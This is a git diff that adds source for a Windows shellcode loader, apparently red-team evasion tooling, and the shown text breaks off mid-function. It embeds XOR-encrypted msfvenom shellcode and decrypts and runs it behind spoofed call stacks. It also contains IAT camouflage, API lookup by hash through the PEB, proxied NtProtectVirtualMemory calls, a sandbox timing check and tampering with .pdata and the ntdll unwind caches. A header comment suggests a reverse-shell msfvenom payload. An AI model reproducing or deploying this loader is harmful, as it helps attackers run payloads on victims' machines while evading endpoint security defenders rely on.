/dev/null +++ b/src/Debug.cpp @@ -0,0 +1,17 @@ +/* Debug.cpp */ +#include "Debug.h" + +#ifdef DEBUG + +BOOL g_bCreated = FALSE; + +VOID CreateDebugConsole() { + + if (g_bCreated) + return; + + if (!GetConsoleWindow() && AllocConsole()) + g_bCreated = TRUE; +} + +#endif // DEBUG \ No newline at end of file diff --git a/src/Intrinsic.cpp b/src/Intrinsic.cpp new file mode 100644 index 0000000..0ec7be6 --- /dev/null +++ b/src/Intrinsic.cpp @@ -0,0 +1,14 @@ +/* Intrinsic.cpp */ + +#include + +#pragma intrinsic(memset) +#pragma function(memset) +extern void* __cdecl memset(void*, int, size_t); + +void* __cdecl memset(void* dest, int val, size_t count) { + unsigned char* p = (unsigned char*)dest; + while (count--) + *p++ = (unsigned char)val; + return dest; +} \ No newline at end of file diff --git a/src/Main.cpp b/src/Main.cpp new file mode 100644 index 0000000..116a1b1 --- /dev/null +++ b/src/Main.cpp @@ -0,0 +1,98 @@ +/* Main.cpp + * + * NOTE: For testing call stack spoofing, use a persistent + * payload that does not exit immediately (e.g. a reverse shell or a long-running + * beacon). Short-lived payloads like exec/calc will terminate before you can + * inspect the spoofed call stack. + * + * Example (msfvenom reverse shell): + * msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= EXITFUNC=thread -f c + */ +#include +#include "Structs.h" +#include "Primitives.h" +#include "Common.h" +#include "InitializeAPI.h" +#include "IatCamouflage.h" +#include "Debug.h" + +/* <<>> MSFVENOM X64 CALC SHELLCODE <<>> */ +unsigned char CipherText[] = { + + 0xCB, 0xFE, 0xFF, 0x56, 0x61, 0xB2, 0x89, 0x9F, 0x1A, 0x19, 0x36, 0x66, 0x2E, 0xD7, 0xB2, 0x5B, + 0x28, 0x0E, 0x20, 0xB3, 0x33, 0xFE, 0xFB, 0x75, 0xF7, 0x66, 0x41, 0x32, 0x15, 0xC7, 0xA9, 0xAC, + 0x17, 0xFE, 0xF7, 0xC0, 0xC1, 0x12, 0x46, 0x28, 0x50, 0x53, 0x3A, 0x06, 0xA6, 0xCF, 0xD1, 0xCA, + 0xD2, 0x7A, 0x70, 0x1D, 0x54, 0x9A, 0x50, 0x66, 0x56, 0xE7, 0xC7, 0x21, 0x0C, 0x4E, 0xC0, 0x13, + 0x65, 0xF7, 0x2D, 0xFA, 0x1A, 0x08, 0x69, 0x14, 0x58, 0x25, 0x3F, 0x36, 0xBF, 0x0C, 0x60, 0x82, + 0x7E, 0x46, 0x11, 0x29, 0xD3, 0x76, 0x04, 0x40, 0xDF, 0x2F, 0x1A, 0x30, 0x86, 0xC7, 0x3A, 0xBA, + 0xBC, 0xF6, 0x5C, 0xFB, 0x90, 0x8A, 0xAA, 0xC9, 0x52, 0xE6, 0xBE, 0x76, 0xE4, 0xB3, 0x68, 0x42, + 0x7F, 0x90, 0x5C, 0x50, 0x9F, 0xFE, 0x41, 0xE7, 0x3B, 0x6F, 0x0B, 0xA9, 0x00, 0xCE, 0x23, 0x3F, + 0x0F, 0x56, 0x09, 0x43, 0xDD, 0x59, 0x05, 0xBB, 0x12, 0x5C, 0x4E, 0xE6, 0x1A, 0x5F, 0xB8, 0x4E, + 0xF5, 0x06, 0x35, 0x28, 0x57, 0x66, 0x16, 0x66, 0x1C, 0x22, 0x82, 0x24, 0x86, 0xCF, 0x3E, 0xB7, + 0x36, 0x66, 0x3D, 0x39, 0x95, 0xD2, 0x01, 0x9E, 0xCA, 0x58, 0x2F, 0x76, 0x37, 0xD9, 0xB9, 0x50, + 0x3F, 0x1E, 0x50, 0x38, 0x17, 0xEC, 0x38, 0xA4, 0x7B, 0x0E, 0x8B, 0x32, 0xF2, 0x6F, 0x7A, 0xBF, + 0x6E, 0xEC, 0x34, 0x39, 0x83, 0xB3, 0x1E, 0x60, 0xE5, 0xE6, 0x2A, 0x7F, 0xD5, 0x86, 0xE0, 0x0A, + 0x7E, 0x46, 0x11, 0x61, 0x56, 0xFE, 0xFD, 0xAA, 0x96, 0x2F, 0xCA, 0x60, 0x4C, 0x35, 0x13, 0x75, + 0x58, 0x31, 0x83, 0x67, 0x2A, 0xBA, 0x54, 0xB5, 0x10, 0x58, 0xCD, 0x91, 0xFA, 0x3A, 0x7D, 0xF5, + 0xAB, 0x0E, 0x92, 0xA5, 0x7E, 0x8A, 0x76, 0x5B, 0x9D, 0xAE, 0x31, 0x80, 0x78, 0x8A, 0x99, 0xB9, + 0x24, 0xC4, 0x13, 0xD8, 0x91, 0x03, 0x08, 0x16, 0xC0, 0xE6, 0xA2, 0x54, 0x0E, 0xEB, 0x83, 0x24, + 0x1B, 0x3E, 0x74, 0x61 +}; + + +unsigned char XorKey[] = { + + 0x37, 0xB6, 0x7C, 0xB2, 0x91, 0x5A, 0x49, 0x9F, 0x1A, 0x19, 0x77, 0x37, 0x6F, 0x87, 0xE0, 0x0A, + 0x7E, 0x46, 0x11, 0x61, 0x56, 0xB6, 0x70, 0x27, 0x97, 0x2E, 0xCA, 0x60, 0x0D, 0x8F, 0x22, 0xFE +}; + +VOID XorDecrypt(PBYTE pPayload, SIZE_T sPayloadSize, PBYTE pKey, SIZE_T sKeySize) { + + for (SIZE_T i = 0, j = 0; i < sPayloadSize; i++, j++) { + if (j >= sKeySize) { + j = 0; + } + pPayload[i] = pPayload[i] ^ pKey[j]; + } +} + +int main() { + + PBYTE Data = (PBYTE)CipherText; + SIZE_T Size = sizeof(CipherText); + +#ifdef DEBUG + CreateDebugConsole(); +#endif + + /* Initialize Win32 APIs */ + if (!Win32API::InitializeWin32APIs()) { + return -1; + } + + /* Execute IAT Camouflage */ +#ifdef DEBUG + DBGPRINT("[*] Executing IAT Camouflage \n"); +#endif + IatCamouflage(); +#ifdef DEBUG + DBGPRINT("[+] Success \n"); +#endif + + /* Decrypt the payload */ +#ifdef DEBUG + DBGPRINT("[*] Decrypting The Payload \n"); +#endif + XorDecrypt(Data, Size, XorKey, sizeof(XorKey)); +#ifdef DEBUG + DBGPRINT("[+] Success \n"); +#endif + + /* Execute payload with stack spoofing */ + StackSpoof::ExecuteWithSpoofedStack( + Data, + Size + ); + + return 0; +} \ No newline at end of file diff --git a/src/Proxy.cpp b/src/Proxy.cpp new file mode 100644 index 0000000..72844c9 --- /dev/null +++ b/src/Proxy.cpp @@ -0,0 +1,149 @@ +/* Proxy.cpp */ +#include +#include "Structs.h" +#include "Primitives.h" +#include "Common.h" +#include "Debug.h" + +/*================================================ +@ SharedTimeStamp Function +# Reads the current system time directly from +# KUSER_SHARED_DATA without issuing any API calls +================================================*/ +ULONG64 SharedTimeStamp() { + + volatile PKUSER_SHARED_DATA UserSharedData = USER_SHARED_DATA; + + LARGE_INTEGER TimeStamp { + .LowPart = UserSharedData->SystemTime.LowPart, + .HighPart = UserSharedData->SystemTime.High1Time + }; + + return TimeStamp.QuadPart; +} + +/*================================================ +@ SharedSleep Function +# Performs a spinloop-based sleep by polling +# KUSER_SHARED_DATA. Detects sandbox time +# acceleration via timestamp drift check +================================================*/ +VOID SharedSleep( + _In_ ULONG64 uMilliseconds +) { + + ULONG64 Start64 = SharedTimeStamp() + (uMilliseconds * DELAY_TICKS); + + for (SIZE_T Index = 0; SharedTimeStamp() < Start64; Index++); + + if ((SharedTimeStamp() - Start64) > 2000) + return; +} + +/*================================================ +@ WorkItemLoadLibrary Function +# Loads a library by queuing LoadLibraryW as a +# work item via RtlQueueWorkItem, making the call +# appear to originate from a legitimate worker thread +# Polls for the module handle with a retry limit +================================================*/ +PVOID Proxy::WorkItemLoadLibrary( + _In_ PWSTR LibraryName +) { + + PVOID Module = nullptr; + ULONG Count = 0; + NTSTATUS Status = STATUS_SUCCESS; + + if (!NT_SUCCESS(Status = g_Win32.Nt.RtlQueueWorkItem((WORKERCALLBACKFUNC)g_Win32.K32.LoadLibraryW, LibraryName, WT_EXECUTEDEFAULT))) { +#ifdef DEBUG + DBGPRINT("[-] RtlQueueWorkItem Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + Count = 5; + + do { + if ((Module = g_Win32.K32.GetModuleHandleW(LibraryName))) { + break; + } + SharedSleep(115); + } while (Count--); + +Leave: + return Module; +} + +/*================================================ +@ WorkItemProxyNtProtectVirtualMemory Function +# Proxies NtProtectVirtualMemory through the thread +# pool worker via RtlQueueWorkItem and an assembly +# stub, masking the direct API call origin +================================================*/ +struct PROTECT_MEMORY_CTX { + PVOID NtProtectVirtualMemory; + + struct { + PVOID ProcessHandle; + PVOID* BaseAddress; + PVOID RegionSize; + PVOID NewProtection; + PVOID OldProtection; + } Args; +}; + +extern "C" VOID StubProxyNtProtectVirtualMemory(IN PROTECT_MEMORY_CTX* Ctx); + +NTSTATUS Proxy::WorkItemNtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtection, + OUT PULONG OldProtection +) { + HANDLE EventHandle = nullptr; + NTSTATUS Status = STATUS_SUCCESS; + PROTECT_MEMORY_CTX Ctx = { + .NtProtectVirtualMemory = Resolver::LdrGetSymbolByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")), + Hash::ExprHashStrDjb2("NtProtectVirtualMemory")), + + .Args = { + .ProcessHandle = ProcessHandle, + .BaseAddress = BaseAddress, + .RegionSize = RegionSize, + .NewProtection = (PVOID)NewProtection, + .OldProtection = (PVOID)OldProtection + }, + }; + + if (!NT_SUCCESS(Status = g_Win32.Nt.NtCreateEvent(&EventHandle, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE))) { +#ifdef DEBUG + DBGPRINT("[-] NtCreateEvent Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + if (!NT_SUCCESS(Status = g_Win32.Nt.RtlQueueWorkItem((WORKERCALLBACKFUNC)StubProxyNtProtectVirtualMemory, &Ctx, WT_EXECUTEDEFAULT))) { +#ifdef DEBUG + DBGPRINT("[-] RtlQueueWorkItem Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + if (!NT_SUCCESS(Status = g_Win32.Nt.RtlQueueWorkItem((WORKERCALLBACKFUNC)g_Win32.Nt.NtSetEvent, EventHandle, WT_EXECUTEDEFAULT))) { +#ifdef DEBUG + DBGPRINT("[-] RtlQueueWorkItem[2] Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + g_Win32.K32.WaitForSingleObject(EventHandle, 0x1000); + +Leave: + if (EventHandle) { + Macro::DeleteHandle(EventHandle); + } + + return Status; +} diff --git a/src/Resolver.cpp b/src/Resolver.cpp new file mode 100644 index 0000000..8bf1fa4 --- /dev/null +++ b/src/Resolver.cpp @@ -0,0 +1,267 @@ +/* Resolver.cpp */ +#include +#include "Structs.h" +#include "Common.h" +#include "Debug.h" +#include "Primitives.h" + +/*================================================ +@ LdrGetModuleByHash Function +# Walks the PEB loader list and returns the base +# address of the module matching the given hash +================================================*/ +PVOID Resolver::LdrGetModuleByHash( + _In_ ULONG uModuleHash +) { + PLDR_DATA_TABLE_ENTRY DataTableEntry = nullptr; + PLIST_ENTRY Head = nullptr; + PLIST_ENTRY Entry = nullptr; + + /* Get pointer to the list */ + Head = &NtCurrentTeb()->ProcessEnvironmentBlock->LoaderData->InLoadOrderModuleList; + Entry = Head->Flink; + + /* Return the handle of local exe image if no hash is given */ + if (!uModuleHash) { + DataTableEntry = (PLDR_DATA_TABLE_ENTRY)(Entry); + return DataTableEntry->DllBase; + } + + /* Iterate through module list */ + for (; Head != Entry; Entry = Entry->Flink) { + + DataTableEntry = (PLDR_DATA_TABLE_ENTRY)(Entry); + + /* Check if hashes match */ + if (Hash::ExprHashStrDjb2(DataTableEntry->BaseDllName.Buffer) == uModuleHash) + return DataTableEntry->DllBase; + } + +#ifdef DEBUG + DBGPRINT("[-] LdrGetModuleByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uModuleHash, GET_FILENAME(__FILE__), __LINE__); +#endif + return nullptr; +} + +/*================================================ +@ LdrGetSymbolByHash Function +# Parses the export directory of the given module +# and returns the address of the export matching +# the provided hash. Handles forwarded exports +# recursively via WorkItemProxyLoadLibrary +================================================*/ +PVOID Resolver::LdrGetSymbolByHash( + _In_ PVOID pModule, + _In_ ULONG uFunctionHash +) { + if (!pModule || !uFunctionHash) { +#ifdef DEBUG + DBGPRINT("[-] LdrGetSymbolByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__); +#endif + return nullptr; + } + + //------------------------------------------------------------------------- + + /* Avoid casting to PBYTE each time */ + PBYTE BaseAddress = (PBYTE)pModule; + + /* Fetch the NT headers and do a signature check */ + auto Nt = (PIMAGE_NT_HEADERS)(BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew); + if (Nt->Signature != IMAGE_NT_SIGNATURE) + return nullptr; + + /* Fetch the export cirectory and the size of it */ + auto ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(BaseAddress + Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + auto ExportSize = Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; + + /* Fetch the function's name & address & ordinal pointers */ + auto AddressOfFunctions = (PDWORD)(BaseAddress + ExportDirectory->AddressOfFunctions); + auto AddressOfNames = (PDWORD)(BaseAddress + ExportDirectory->AddressOfNames); + auto AddressOfOrdinals = (PWORD)(BaseAddress + ExportDirectory->AddressOfNameOrdinals); + + /* Iterate through exported functions */ + for (int i = 0; i < ExportDirectory->NumberOfNames; i++) { + + PCHAR FunctionName = (PCHAR)(BaseAddress + AddressOfNames[i]); + PVOID FunctionVA = (PVOID)(BaseAddress + AddressOfFunctions[AddressOfOrdinals[i]]); + + /* Check if hashes match */ + if (Hash::ExprHashStrDjb2(FunctionName) == uFunctionHash) { + + /* Handle forwarded functions */ + ULONG_PTR FunctionAddress = (ULONG_PTR)FunctionVA; + ULONG_PTR ExportBeginning = (ULONG_PTR)ExportDirectory; + ULONG_PTR ExportEnd = ExportBeginning + ExportSize; + + if (FunctionAddress >= ExportBeginning && FunctionAddress < ExportEnd) { +#ifdef DEBUG + DBGPRINT("[i] LdrGetSymbolByHash -> [%s] Is A Forwarded Function \n", FunctionName); +#endif + CHAR Forwarder[MAX_PATH] = { 0 }; + WCHAR WidePath[MAX_PATH] = { 0 }; + DWORD Offset = 0; + PCHAR PFunctionMod = nullptr; + PCHAR PFunctionName = nullptr; + + Primitive::MemoryCopy(Forwarder, (PVOID)FunctionAddress, Primitive::StringLength((PCHAR)FunctionAddress)); + + for (DWORD j = 0; j < Primitive::StringLength((PCHAR)Forwarder); j++) { + + if (((PCHAR)Forwarder)[j] == '.') { + + Offset = j; + Forwarder[j] = '\0'; + break; + } + } + + PFunctionMod = Forwarder; + PFunctionName = Forwarder + Offset + 1; + + /* Convert ansi name to unicode */ + Primitive::AnsiToWide(PFunctionMod, WidePath, MAX_PATH); + PVOID ForwardedMod = Proxy::WorkItemLoadLibrary(WidePath); + + return LdrGetSymbolByHash(ForwardedMod, Hash::ExprHashStrDjb2(PFunctionName)); + } + + /* If it's not a forwarded function, return the address directly */ + return (FARPROC)FunctionAddress; + } + } + +#ifdef DEBUG + DBGPRINT("[-] LdrGetSymbolByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__); +#endif + return nullptr; +} + +/*================================================ +@ ResolveSectionInfo Function +# Parses the PE section headers of the given module +# and fills pSectionInfo with the virtual address +# and size of the section matching pcSectionName +================================================*/ +VOID Resolver::ResolveSectionInfo( + _In_ PVOID pModule, + _In_ PCHAR pcSectionName, + OUT PSECTION_INFO pSectionInfo +) { + if (!pModule || !pcSectionName || !pSectionInfo) + return; + + /* Fetch the NT headers and do a signature check */ + auto Nt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew); + if (Nt->Signature != IMAGE_NT_SIGNATURE) + return; + + /* Get section header and the length of section name */ + auto SectionHeader = IMAGE_FIRST_SECTION(Nt); + SIZE_T NameLength = Primitive::StringLength(pcSectionName); + + /* Iterate through PE sections */ + for (int i = 0; i < Nt->FileHeader.NumberOfSections; i++, SectionHeader++) { + + if (Primitive::MemoryCompare(SectionHeader->Name, (PCHAR)pcSectionName, NameLength) == 0) { + pSectionInfo->VirtualAddress = (PVOID)((PBYTE)pModule + SectionHeader->VirtualAddress); + pSectionInfo->VirtualSize = SectionHeader->Misc.VirtualSize; + return; + } + } + + return; +} + +/*================================================ +@ ResolvePDataSectionInfo Function +# Wrapper around ResolveSectionInfo that resolves +# the .pdata (exception handler table) section +================================================*/ +VOID Resolver::ResolvePDataSectionInfo( + _In_ PVOID pModule, + OUT PSECTION_INFO pSectionInfo +) { + const CHAR SectionName[] = { '.', 'p', 'd', 'a', 't', 'a', '\0' }; + Resolver::ResolveSectionInfo(pModule, (PCHAR)SectionName, pSectionInfo); +} + +/*================================================ +@ ResolveTextSectionInfo Function +# Wrapper around ResolveSectionInfo that resolves +# the .text section +================================================*/ +VOID Resolver::ResolveTextSectionInfo( + _In_ PVOID pModule, + OUT PSECTION_INFO pSectionInfo +) { + const CHAR SectionName[] = { '.', 't', 'e', 'x', 't', '\0' }; + Resolver::ResolveSectionInfo(pModule, (PCHAR)SectionName, pSectionInfo); +} + +/*================================================ +@ ResolveExceptionDirectory Function +# Returns the base address and size of the module's +# exception directory (IMAGE_DIRECTORY_ENTRY_EXCEPTION) +# Used to locate and iterate RUNTIME_FUNCTION entries +================================================*/ +PVOID Resolver::ResolveExceptionDirectory( + _In_ PVOID pModule, + OUT PDWORD pdwDirSize +) { + if (!pModule || !pdwDirSize) + return nullptr; + + auto Nt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew); + if (Nt->Signature != IMAGE_NT_SIGNATURE) + return nullptr; + + auto ExceptionDir = &Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; + *pdwDirSize = ExceptionDir->Size; + + return (PVOID)((PBYTE)pModule + ExceptionDir->VirtualAddress); +} + +/*================================================ +@ LocateCallInstructionOffset Function +# Scans forward from uStartAddress looking for the +# first CALL instruction (near, indirect or REX-prefixed) +# Returns the offset to the instruction immediately +# following the CALL, i.e. the return address that +# would be pushed onto the stack +================================================*/ +DWORD Resolver::LocateCallInstructionOffset( + _In_ ULONG_PTR uStartAddress, + _In_ DWORD dwSearchLimit +) { + DWORD Offset = 0; + DWORD CallOffset = 0; + DWORD StaticOffset = 4; /* Size of call instruction */ + BOOL Found = FALSE; + + while (Offset < dwSearchLimit) { + + /* + 0xE8 = CALL rel32 (direct near call, 1-byte opcode) + 0xFF15 = CALL [RIP+rel32] (indirect near call, 2-byte opcode) + 0x48FF15 = REX.W CALL [RIP+rel32] (REX-prefixed indirect, 3-byte opcode) + */ + if (*(PBYTE)(uStartAddress + Offset) == CALL_NEAR || *(PWORD)(uStartAddress + Offset) == CALL_NEAR_QPTR || (*(PDWORD)(uStartAddress + Offset) & 0x00ffffff) == CALL_FAR_QPTR) { + + /* Adjust CallOffset based on opcode length */ + if ((*(PDWORD)(uStartAddress + Offset) & 0x00ffffff) == CALL_FAR_QPTR) + CallOffset += 3; + else if (*(PWORD)(uStartAddress + Offset) == CALL_NEAR_QPTR) + CallOffset += 2; + else + CallOffset++; + + Found = TRUE; + break; + } + + Offset++; + } + + return Found ? (Offset + StaticOffset + CallOffset) : 0; +} \ No newline at end of file diff --git a/src/SetRegister.asm b/src/SetRegister.asm new file mode 100644 index 0000000..7c431c2 --- /dev/null +++ b/src/SetRegister.asm @@ -0,0 +1,13 @@ +; SetRegister.asm +.code + +PUBLIC CaptureStackPointer + +; Why assembly -> A c++ function call modifies RSP, +; so reading it directly in assembly is mandatory +CaptureStackPointer PROC + mov rax, rsp + ret +CaptureStackPointer ENDP + +END \ No newline at end of file diff --git a/src/ShadowGate.asm b/src/ShadowGate.asm new file mode 100644 index 0000000..f691e61 --- /dev/null +++ b/src/ShadowGate.asm @@ -0,0 +1,78 @@ +; ShadowGate.asm +.code + +; RCX = SHADOWGATE_PARAMS* (pointer to parameter structure) +ShadowGate PROC + + ;---------------------------- SAVE NON-VOLATILE REGISTERS ;---------------------------- + push rbx + push rbp + push rsi + push rdi + push r12 + push r13 + push r14 + push r15 + + mov r12, rcx ; R12 = SHADOWGATE_PARAMS* + mov r13, [r12] ; R13 = pFunction (Offset -> 0) + mov r14, [r12 + 8h] ; R14 = dwMinimumFrameSize (Offset -> 8) + mov r15, [r12 + 10h] ; R15 = argc (Offset -> 10) + lea rbp, [r12 + 18h] ; RBP = &argv[0] (Offset -> 18) + + sub rsp, r14 ; <- Core of stack spoofing + + ;---------------------------- LOAD ARGUMENTS ;---------------------------- + cmp r15, 0 + jle DoCall + + mov rcx, [rbp] ; argv[0] -> RCX + cmp r15, 1 + jle DoCall + + mov rdx, [rbp + 8h] ; argv[1] -> RDX + cmp r15, 2 + jle DoCall + + mov r8, [rbp + 10h] ; argv[2] -> R8 + cmp r15, 3 + jle DoCall + + mov r9, [rbp + 18h] ; argv[3] -> R9 + cmp r15, 4 + jle DoCall + + ; 5+ arguments: write past shadow space onto stack + mov rbx, rcx + lea rsi, [rbp + 20h] ; Source: &argv[4] + lea rdi, [rsp + 28h] ; Destination: RSP + shadow (0x20) + ret(0x8) + mov rcx, r15 + sub rcx, 4 + rep movsq + mov rcx, rbx + +DoCall: + test r13, r13 + jz Skip + call r13 ; <- TARGET FUNC CALLED HERE + +Skip: + add rsp, r14 ; Restore stack pointer + + pop r15 + pop r14 + pop r13 + pop r12 + pop rdi + pop rsi + pop rbp + pop rbx + + ret +ShadowGate ENDP + +ShadowGateEnd PROC + ret +ShadowGateEnd ENDP + +END \ No newline at end of file diff --git a/src/StackSearch.asm b/src/StackSearch.asm new file mode 100644 index 0000000..e0ec618 --- /dev/null +++ b/src/StackSearch.asm @@ -0,0 +1,36 @@ +; StackSearch.asm +.code + +; RCX = QWORD value to search for (BTIT + CallOffset) +; RDX = Pointer where the found address will be written +; RAX = Byte offset from RSP to found address + +ScanStackForValue PROC + mov r8, rsp ; R8 = Starting RSP (reference point) + mov r9, gs:[08h] ; Get StackBase field from the TEB + + mov r10, r8 ; R10 = Search pointer (starting from rsp) + +SearchLoop: + cmp r10, r9 ; Have we reached StackBase? + jae NotFound ; Yes -> Not Found + + cmp qword ptr [r10], rcx ; Does [r10] equal the value we are looking for? + je Found ; Yes -> Found + + add r10, 8 ; Advance by 8 bytes (Each stack slot is 8 bytes on x64) + jmp SearchLoop + +Found: + mov rax, r10 ; RAX = Address where value was found + mov [rdx], r10 ; *RDX = Found Address (out param) + sub rax, r8 ; RAX = Found address - starting rsp = offset + ret + +NotFound: + xor rax, rax + ret + +ScanStackForValue ENDP + +END \ No newline at end of file diff --git a/src/StackSpoofing.cpp b/src/StackSpoofing.cpp new file mode 100644 index 0000000..bf85413 --- /dev/null +++ b/src/StackSpoofing.cpp @@ -0,0 +1,442 @@ +/* StackSpoofing.cpp */ +#include +#include "Structs.h" +#include "Primitives.h" +#include "Common.h" +#include "Debug.h" + +/*================================================ +@ FlushFunctionTableCache Function +# Nullifies the cached size field inside +# RtlLookupFunctionTable by scanning for the +# MOV EAX,[RIP+offset] pattern and zeroing the +# target. Forces a cache miss on next lookup +================================================*/ +BOOL StackSpoof::FlushFunctionTableCache( + OUT PULONG_PTR puAddress, + OUT PDWORD pdwOld +) { + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionTable")); + + BYTE Buffer[128] = { 0 }; + Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); + + ULONG_PTR CacheAddress = 0; + + /* MOV EAX, [RIP + offset] -> 0x8B 0x05 [rel32] */ + for (int i = 0; i < 100; i++) { + + if (Buffer[i] == 0x8B && Buffer[i + 1] == 0x05) { + + INT32 Offset = 0; + Primitive::MemoryCopy(&Offset, &Buffer[i + 2], sizeof(INT32)); + ULONG_PTR Candidate = FnAddress + i + 6 + Offset; + if (Candidate > (ULONG_PTR)Ntdll && Candidate < (ULONG_PTR)Ntdll + 0x300000) { + CacheAddress = Candidate; + break; + } + } + } + + if (!CacheAddress) + return FALSE; + + *puAddress = CacheAddress; + *pdwOld = *(PDWORD)CacheAddress; + + DWORD OldProtect = 0; + PVOID BaseAddress = (PVOID)CacheAddress; + SIZE_T RegionSize = sizeof(DWORD); + + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &OldProtect); + *(PDWORD)CacheAddress = 0; + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, OldProtect, &OldProtect); + return TRUE; +} + +/*================================================ +@ FlushFunctionEntryCache Function +# Same technique applied to RtlLookupFunctionEntry +# Ensures both lookup paths miss their cache after +# .pdata and _INVERTED_FUNCTION_TABLE are modified +================================================*/ +BOOL StackSpoof::FlushFunctionEntryCache( + OUT PULONG_PTR puAddress, + OUT PDWORD pdwOld +) { + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); + + BYTE Buffer[128] = { 0 }; + Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); + + ULONG_PTR CacheAddress = 0; + + /* MOV EAX, [RIP + offset] -> 0x8B 0x05 [rel32] */ + for (int i = 0; i < 100; i++) { + + if (Buffer[i] == 0x8B && Buffer[i + 1] == 0x05) { + + INT32 Offset = 0; + Primitive::MemoryCopy(&Offset, &Buffer[i + 2], sizeof(INT32)); + ULONG_PTR Candidate = FnAddress + i + 6 + Offset; + if (Candidate > (ULONG_PTR)Ntdll && Candidate < (ULONG_PTR)Ntdll + 0x300000) { + CacheAddress = Candidate; + break; + } + } + } + + if (!CacheAddress) + return FALSE; + + *puAddress = CacheAddress; + *pdwOld = *(PDWORD)CacheAddress; + + DWORD OldProtect = 0; + PVOID BaseAddress = (PVOID)CacheAddress; + SIZE_T RegionSize = sizeof(DWORD); + + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &OldProtect); + *(PDWORD)CacheAddress = 0; + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, OldProtect, &OldProtect); + return TRUE; +} + +/*================================================ +@ SuppressPDataAccess Function +# Sets .pdata to PAGE_NOACCESS so the OS unwinder +# cannot read static entries and falls back to the +# dynamic function table registered via +# RtlAddFunctionTable +================================================*/ +BOOL StackSpoof::SuppressPDataAccess( + _In_ PVOID pModule, + OUT PDWORD pdwOldProtect +) { + ULONG_PTR Base = (ULONG_PTR)pModule; + + auto Nt = (PIMAGE_NT_HEADERS)(Base + ((PIMAGE_DOS_HEADER)Base)->e_lfanew); + auto SectionHeader = IMAGE_FIRST_SECTION(Nt); + NTSTATUS Status = STATUS_SUCCESS; + + for (int i = 0; i < Nt->FileHeader.NumberOfSections; i++) { + + const CHAR SectionName[] = { '.', 'p', 'd', 'a', 't', 'a', '\0' }; + SIZE_T NameLength = Primitive::StringLength(SectionName); + + if (Primitive::MemoryCompare(SectionHeader[i].Name, (PCHAR)SectionName, NameLength) == 0) { + + PVOID BaseAddress = (PVOID)(Base + SectionHeader[i].VirtualAddress); + SIZE_T RegionSize = (SectionHeader[i].Misc.VirtualSize + 0xFFF) & ~0xFFF; + + if (!NT_SUCCESS(Status = Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_NOACCESS, pdwOldProtect))) { +#ifdef DEBUG + DBGPRINT("[-] WorkItemNtProtectVirtualMemory Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; + } + + return TRUE; + } + } + + return FALSE; +} + +/*================================================ +@ RestorePDataAccess Function +# Reverts .pdata protection to its original value +# stored during SuppressPDataAccess, re-enabling +# static exception directory access +================================================*/ +BOOL StackSpoof::RestorePDataAccess( + _In_ PVOID pModule, + _In_ DWORD dwOldProtect +) { + ULONG_PTR Base = (ULONG_PTR)pModule; + + auto Nt = (PIMAGE_NT_HEADERS)(Base + ((PIMAGE_DOS_HEADER)Base)->e_lfanew); + auto SectionHeader = IMAGE_FIRST_SECTION(Nt); + NTSTATUS Status = STATUS_SUCCESS; + DWORD Dummy = 0; + + for (int i = 0; i < Nt->FileHeader.NumberOfSections; i++) { + + const CHAR SectionName[] = { '.', 'p', 'd', 'a', 't', 'a', '\0' }; + SIZE_T NameLength = Primitive::StringLength(SectionName); + + if (Primitive::MemoryCompare(SectionHeader[i].Name, (PCHAR)SectionName, NameLength) == 0) { + + PVOID BaseAddress = (PVOID)(Base + SectionHeader[i].VirtualAddress); + SIZE_T RegionSize = (SectionHeader[i].Misc.VirtualSize + 0xFFF) & ~0xFFF; + + if (!NT_SUCCESS(Status = Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, dwOldProtect, &Dummy))) { 